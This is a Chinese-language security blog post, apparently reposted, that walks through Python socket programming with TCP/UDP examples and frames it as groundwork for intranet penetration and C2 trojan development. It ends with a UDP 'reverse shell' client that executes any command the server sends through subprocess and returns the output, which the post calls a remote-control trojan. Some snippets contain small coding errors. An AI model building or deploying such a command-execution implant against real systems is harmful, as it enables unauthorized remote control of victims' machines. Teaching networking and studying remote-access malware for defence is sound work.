文章总结: 本文详解Socket通信机制与Python实战,涵盖TCP/UDP协议、IP端口标识及关键参数配置。通过代码演进演示数据收发、双向通信及聊天室功能,最终利用subprocess模块实现基于UDP的反弹Shell远程控制。文章为内网渗透提供了网络编程基础与C2木马开发的核心技术路径。 综合评分: 89 文章分类: 内网渗透,红队,安全开发,恶意软件
内网通信新突破:掌握Socket远程控制技术
原创
沐青序 沐青序
数字序言
2026年2月5日 08:35 福建
免责声明:本公众号内容仅供网络安全技术学习与合法研究,严禁用于非法用途。使用者须遵守法律法规,因非法使用造成的全部后果自行承担。本公众号及作者不对内容准确性作保证,不承担因此产生的任何损失。如涉及侵权,烦请告知,核实后将立即处理。感谢理解。
套接字(Socket)通信机制
套接字,进程间通信:套接字是进程间通信的一种抽象,用于实现 跨主机或本机 的通信接口。
Socket 的本质:Socket = IP地址 + 端口号 + 协议(TCP/UDP)
Socket 是操作系统为网络通信提供的一种 文件描述符(fd),可以读写数据,就像操作文件一样。
进程间如何通信?
1.我们要如何标识一台主机?–> IP地址(内网/公网) 2.我们要如何标识唯一进程? –> PORT端口(常用端口) 3.协议 –> 协议决定了通信双方“说什么语言”“怎么说话”。
套接字通信常用协议:
TCP(面向连接、可靠、传输有序)
UDP(无连接、不可靠、速度快)
主要参数说明
# demo.py
import socket
# s = socket.socket()
# s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)
s.bind(('localhost', 8000))
print(s) # <socket.socket fd=3, family=2, type=1, proto=6, laddr=('127.0.0.1', 8000)>
'''
【最重要的两个参数】
1、family
套接字家族:使用什么样的协议
1. AF_INET ==> IPv4 (默认值)
2. AF_INET6 ==> IPv6
3. AF_UNIX ==> UNIX socket
2、type
套接字样式:面向连接、非连接
socket.SOCK_STREAM ==> TCP 流套接字
socket.SOCK_DGRAM ==> UDP 数据报套接字
socket.SOCK_RAW ==> 原始套接字
socket.SOCK_RDM ==> RDM 无连接的套接字
'''
实现数据的一发一收
基础学习
server.py
# server1.py
import socket
s = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
s.bind(('localhost', 8000))
# print(s)
# 接收数据
# print(s.recv(1024))
print(s.recv(1024).decode()) # bytes
'''
# 函数
.bind() 绑定地址
.recv() 接收数据,会进入阻塞状态
.recvfrom() 接收数据(会带地址),会进入阻塞状态
.send() 发送数据
.sendto() 发送数据(会带地址)
.close() 关闭套接字
.connect() 连接
.accept() 接受连接
.listen() 监听
所有的数据在传输过程中都是字节(bytes)类型
'''
client.py
# client1.py
import socket
c = socket.socket(type=socket.SOCK_DGRAM)
c.connect(('localhost', 8000))
# print(c.sendto('hello', ('localhost', 8000))) # 报错,需要编码
# print(c.sendto(b'hello', ('localhost', 8000))) # 编码1
print(c.sendto('hello'.encode(), ('localhost', 8000))) # 编码2
'''
# 目前实现了最简单的通信过程,一发一收
渗透过程中很少主动连接对⽅
是通过⽊⻢程序
C2:持续监听,等待⽊⻢连接
# 新问题出来了:对⽅能给我们发消息,我们怎么给对⽅发消息?
'''
优化
服务端/客户端同时发送数据
# server2.py
import socket
s = socket.socket(socket.AF_INET, type=socket.SOCK_DGRAM)
s.bind(('localhost', 8000))
data, addr = s.recvfrom(1024) # 获取到客户端的地址
print(f'{addr[0]}:{addr[1]}: {data.decode()}') # 127.0.0.1:60955: hello
# 想要数据流通必须要绑定端口,否则无法接收数据,此时他会接收的时候绑定上随机端口
s.sendto(b'word', addr) # 发数据给客户端
=================================================================================
# client2.py
import socket
c = socket.socket(type=socket.SOCK_DGRAM)
c.connect(('localhost', 8000))
print(c.sendto(b'hello', ('localhost', 8000))) # 发数据给服务端
print(c.recvfrom(1024)) # (b'word', ('127.0.0.1', 8000))
聊天室
# server3.py
import socket
s = socket.socket(socket.AF_INET, type=socket.SOCK_DGRAM)
s.bind(('localhost', 8000))
while True:
data, addr = s.recvfrom(1024)
print(f'{addr[0]}:{addr[1]}: {data.decode()}')
s.sendto(input('server > ').encode, addr)
===========================================================
# client3.py
import socket
c = socket.socket(type=socket.SOCK_DGRAM)
c.connect(('localhost', 8000))
while True:
c.sendto(input('client > ').encode, ('localhost', 8000))
print(c.recvfrom(1024))
远控木马实现(反弹shell)
实现client连接后只接收消息
# server4.py
import socket
s = socket.socket(socket.AF_INET, type=socket.SOCK_DGRAM)
s.bind(('localhost', 8000))
data, addr = s.recvfrom(1024) # 接收客户端数据
while True:
s.sendto(input('server > ').encode(), addr)
================================================================
# client4.py
import socket
c = socket.socket(type=socket.SOCK_DGRAM)
c.sendto(b'client add listen', ('localhost', 8000)) # 发数据给服务端,不加服务端会出现bug(相当于初始化操作)
while True:
data, _ = c.recvfrom(1024) # _ 表示地址(已知,置空)
print(data.decode())
'''
实现client连接后只接收消息
'''
反弹shell
# server5.py
import socket
s = socket.socket(socket.AF_INET, type=socket.SOCK_DGRAM)
s.bind(('localhost', 8000))
while True:
data, addr = s.recvfrom(10240) # 接收客户端数据
print(f'{addr[0]}:{addr[1]}: {data.decode()}')
s.sendto(input('server > ').encode(), addr)
============================================================
# client5.py
import socket
import subprocess
c = socket.socket(type=socket.SOCK_DGRAM)
c.sendto(b'client add listen', ('localhost', 8000)) # 发数据给服务端,不加服务端会出现bug(相当于初始化操作)
while True:
data, _ = c.recvfrom(10240) # _ 表示地址(已知,置空)
# print(subprocess.getoutput(data.decode())) # 运行命令
# 将命令运行结果返回给服务端
cmd = subprocess.getoutput(data.decode()).encode()
c.sendto(cmd, ('localhost', 8000))
# c.sendto(subprocess.getoutput(data.decode()).encode(), ('localhost', 8000))
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:数字序言 沐青序 沐青序《内网通信新突破:掌握Socket远程控制技术》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论